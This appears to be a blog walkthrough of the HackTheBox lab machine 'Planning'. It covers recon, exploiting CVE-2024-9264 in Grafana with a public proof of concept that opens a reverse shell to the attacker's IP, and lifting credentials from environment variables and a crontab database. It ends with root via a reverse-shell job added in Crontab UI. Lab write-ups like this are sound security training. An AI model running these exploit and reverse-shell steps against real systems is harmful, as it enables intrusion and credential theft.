Skip to main content
HTB: Planning
  1. Posts/

HTB: Planning

Table of Contents

Introduction
#

Planning has a vulnerable instance of Grafana as an entry point that gets me root in the Grafana container. Inside the are new credentials used to access Crontab UI, from there there is simple way to root the box.

Assumed breach:

As is common in real life pentests, you will start the Planning box with credentials for the following account: admin / 0D5oT70Fq13EvB5r

Recon
#

nmap
#

nmap finds two open TCP ports, 22 (SSH) and 80 (HTTP):

sudo nmap -sC -sV -vv -oA nmap_scan/nmap_results 10.129.237.241
  • -sC for defaults scripts
  • -sV enumerate version
  • -oA output in all formats
  • -vv verbose
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMv/TbRhuPIAz+BOq4x+61TDVtlp0CfnTA2y6mk03/g2CffQmx8EL/uYKHNYNdnkO7MO3DXpUbQGq1k2H6mP6Fg=
|   256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKpJkWOBF3N5HVlTJhPDWhOeW+p9G7f2E9JnYIhKs6R0
80/tcp open  http    syn-ack ttl 63 nginx 1.24.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://planning.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Added planning.htb to /etc/hosts.

Website - TCP 80
#

The website is for an education platform:

Website

There is nothing really interesting on the site, there are two forms:

Form1
Form2

But in the ends it leads me nowhere.

Directory enumeration
#

gobuster dir -u http://planning.htb/ -w /usr/share/dirb/wordlists/common.txt

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://planning.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/css                  (Status: 301) [Size: 178] [--> http://planning.htb/css/]
/img                  (Status: 301) [Size: 178] [--> http://planning.htb/img/]
/index.php            (Status: 200) [Size: 23914]
/js                   (Status: 301) [Size: 178] [--> http://planning.htb/js/]
/lib                  (Status: 301) [Size: 178] [--> http://planning.htb/lib/]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================

Nothing found.

Subdomain enumeration
#

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://planning.htb/ -H 'Host: FUZZ.planning.htb' -fs 178


        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://planning.htb/
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 :: Header           : Host: FUZZ.planning.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 178
________________________________________________

grafana                 [Status: 302, Size: 29, Words: 2, Lines: 3, Duration: 54ms]

Ii found only grafana I’ll add grafana.planning.htr to /etc/hosts and check out the site:

Grafana

It is running version 11.0.0:

Grafana

Which is vulnerable to CVE-2024-9264

CVE-2024-9264
#

There is PoC here:

And an article about it HERE

I set up listener and run this:

python CVE-2024-9264-RCE-Exploit/poc.py --url http://grafana.planning.htb --username admin --password 0D5oT70Fq13EvB5r --reverse-ip 10.10.14.36 --reverse-port 4444

And get a shell:

└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.36] from (UNKNOWN) [10.129.237.241] 55572
sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# 

Shell as enzo
#

I have root in the container, there is not much to do, so check potentially useful information.

Environment variables:

# env
GF_PATHS_HOME=/usr/share/grafana
HOSTNAME=7ce659d667d7
AWS_AUTH_EXTERNAL_ID=
SHLVL=1
HOME=/usr/share/grafana
OLDPWD=/home
AWS_AUTH_AssumeRoleEnabled=true
GF_PATHS_LOGS=/var/log/grafana
_=import pty;pty.spawn('/bin/bash')
GF_PATHS_PROVISIONING=/etc/grafana/provisioning
GF_PATHS_PLUGINS=/var/lib/grafana/plugins
PATH=/usr/local/bin:/usr/share/grafana/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
AWS_AUTH_AllowedAuthProviders=default,keys,credentials
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
AWS_AUTH_SESSION_DURATION=15m
GF_SECURITY_ADMIN_USER=enzo
GF_PATHS_DATA=/var/lib/grafana
GF_PATHS_CONFIG=/etc/grafana/grafana.ini
AWS_CW_LIST_METRICS_PAGE_LIMIT=500
PWD=/home/grafana

There is a username and password there as GF_SECURITY_ADMIN_USER and GF_SECURITY_ADMIN_PASSWORD (enzo : RioTecRANDEntANT!)

SSH
#

The credentials works for SSH to the host:

ssh enzo@10.129.237.241

Grab the user flag and continue.

After a little poking around I gave up and run LinPeas which gave me /opt/crontabs/crontab.db

enzo@planning:~$ cat /opt/crontabs/crontab.db | jq .
{
  "name": "Grafana backup",
  "command": "/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz",                       
  "schedule": "@daily",
  "stopped": false,
  "timestamp": "Fri Feb 28 2025 20:36:23 GMT+0000 (Coordinated Universal Time)",
  "logging": "false",
  "mailing": {},
  "created": 1740774983276,
  "saved": false,
  "_id": "GTI22PpoJNtRKg0W"
}
{
  "name": "Cleanup",
  "command": "/root/scripts/cleanup.sh",
  "schedule": "* * * * *",
  "stopped": false,
  "timestamp": "Sat Mar 01 2025 17:15:09 GMT+0000 (Coordinated Universal Time)",
  "logging": "false",
  "mailing": {},
  "created": 1740849309992,
  "saved": false,
  "_id": "gNIRXh1WIc9K7BYX"
}

There is new password inside, P4ssw0rdS0pRi0T3c

Looking at the ports, there are a few listening only on localhost:

enzo@planning:~$ netstat -ntl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 127.0.0.1:44713         0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.54:53           0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN 
  • 53 should be DNS
  • 3306 and 33060 are likely databases.
  • 3000 is Grafana.

That leaves 8000 and 44713.

The 44713 returns 404:

enzo@planning:~$ curl -v localhost:44713
* Host localhost:44713 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
*   Trying [::1]:44713...
* connect to ::1 port 44713 from ::1 port 42574 failed: Connection refused
*   Trying 127.0.0.1:44713...
* Connected to localhost (127.0.0.1) port 44713
> GET / HTTP/1.1
> Host: localhost:44713
> User-Agent: curl/8.5.0
> Accept: */*
> 
< HTTP/1.1 404 Not Found
< Date: Tue, 11 Nov 2025 08:15:37 GMT
< Content-Length: 19
< Content-Type: text/plain; charset=utf-8
< 
* Connection #0 to host localhost left intact
404: Page Not Found

But the other, 8000 returns 401 Unauthorized.

enzo@planning:~$ curl -v localhost:8000
* Host localhost:8000 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
*   Trying [::1]:8000...
* connect to ::1 port 8000 from ::1 port 39618 failed: Connection refused
*   Trying 127.0.0.1:8000...
* Connected to localhost (127.0.0.1) port 8000
> GET / HTTP/1.1
> Host: localhost:8000
> User-Agent: curl/8.5.0
> Accept: */*
> 
< HTTP/1.1 401 Unauthorized
< X-Powered-By: Express
< WWW-Authenticate: Basic realm="Restricted Area"
< Content-Type: text/html; charset=utf-8
< Content-Length: 0
< ETag: W/"0-2jmj7l5rSw0yVb/vlWAYkK/YBwk"
< Date: Tue, 11 Nov 2025 08:16:00 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
< 
* Connection #0 to host localhost left intact

Root
#

Crontab UI
#

I can use SSH tunnel -L 8001:localhost:8000 This will tunnel any packet to 8001 on my host through the SSH session and out to localhost port 8000 on Planning.

Now I can load the page in my browser by visiting http://localhost:8001:

crontab

I get a login form.

I have three passwords and three users.

The working combination was: root : P4ssw0rdS0pRi0T3c and I am in:

crontab

It is an instance of Crontab UI

Shell
#

I can create new jobs simply by clicking the “New” button:

crontab

With the Crontab almost certainly running as root I can do anything on the box.

crontab

I simply used reverse shell as the command, set up listener and pressed “Run now”:

crontab

I immediately get hin on the listener:

└─$ nc -lvnp 4445
listening on [any] 4445 ...
connect to [10.10.14.36] from (UNKNOWN) [10.129.237.241] 58358
bash: cannot set terminal process group (1508): Inappropriate ioctl for device
bash: no job control in this shell
root@planning:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@planning:~# 

Now just grab the flag and I am done here.

Author
~